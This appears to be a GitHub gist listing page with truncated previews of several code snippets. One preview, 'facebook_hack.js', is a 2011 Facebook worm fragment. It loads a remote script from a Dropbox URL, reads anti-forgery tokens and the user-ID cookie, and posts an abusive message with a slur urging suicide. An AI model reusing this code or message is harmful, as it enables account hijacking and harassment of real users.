Skip to content

Instantly share code, notes, and snippets.

APPNAME = 'wh'
require 'json'
require 'rake-pipeline-web-filters'
WebFilters = Rake::Pipeline::Web::Filters
class LoaderFilter < WebFilters::MinispadeFilter
def generate_output(inputs, output)
inputs.each do |input|
@joewest
joewest / gist:1701702
Created January 30, 2012 00:58 — forked from bobspryn/gist:1549100
AssetFile
require "json"
require "uglifier"
require "rake-pipeline-web-filters"
# this gives you concat, coffee_script, and minispade methods
require "rake-pipeline-web-filters/helpers"
class HandlebarsFilter < Rake::Pipeline::Filter
def initialize(&block)
block ||= proc { |input| input.sub(/\.handlebars$/, '.js') }
@joewest
joewest / didRequestRange.js
Created January 13, 2012 20:14
Ember.PaginationSupport
App.collectionController = Em.ArrayProxy.create(Ember.PaginationSupport, {
content: [],
fullContent: App.store.findAll(App.Job),
totalBinding: 'fullContent.length',
didRequestRange: function(rangeStart, rangeStop) {
var content = this.get('fullContent').slice(rangeStart, rangeStop);
this.replace(0, this.get('length'), content);
}
});
@joewest
joewest / README
Created October 6, 2011 13:53 — forked from antirez/README
antirez hashing function #1
Description of AHF1 algorithm:
Initialize the four bytes H[0], H[1], H[2], H[3] to respectively 8D CA 2E 35
Initialize IDX to 0
For each byte B in the string to hash:
TARGET = (B XOR H[IDX]) MOD 4
H[TARGET] = H[TARGET] XOR B
@joewest
joewest / google_twunter_lol.json
Created July 28, 2011 20:49 — forked from jamiew/google_twunter_lol
All the dirty words from Google's "what do you love" project: http://www.wdyl.com/
easterEgg.BadWorder.list={
"4r5e":1,
"5h1t":1,
"5hit":1,
a55:1,
anal:1,
anus:1,
ar5e:1,
arrse:1,
arse:1,
@joewest
joewest / README.md
Created May 27, 2011 17:38 — forked from bergie/README.md
Falsy Values tutorials
@joewest
joewest / facebook_hack.js
Created May 17, 2011 22:03 — forked from tysonmote/facebook_hack.js
Nicole Santos Facebook hack
// 5/11/11 Facebook hack -- Started spreading and was quickly taken down by Dropbox (where the file was hosted).
var message = "Fuck you faggot. Go kill yourself. Do whatever the fuck you want. I hate you and the only way to remove all these posts is by disabling this below.";
var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://dl.dropbox.com/u/10505629/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();";
var myText = "Remove This App";
var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function parse_git_branch() {
git branch 2> /dev/null | sed -e '/^[^*]/d' -e 's/* \(.*\)/(\1) /'
}
function breadcrumb()
{
echo $1 | sed "s|^$HOME|~|" | awk -v n=$2 '{
# Split the path into components
count = split($0, components, "/")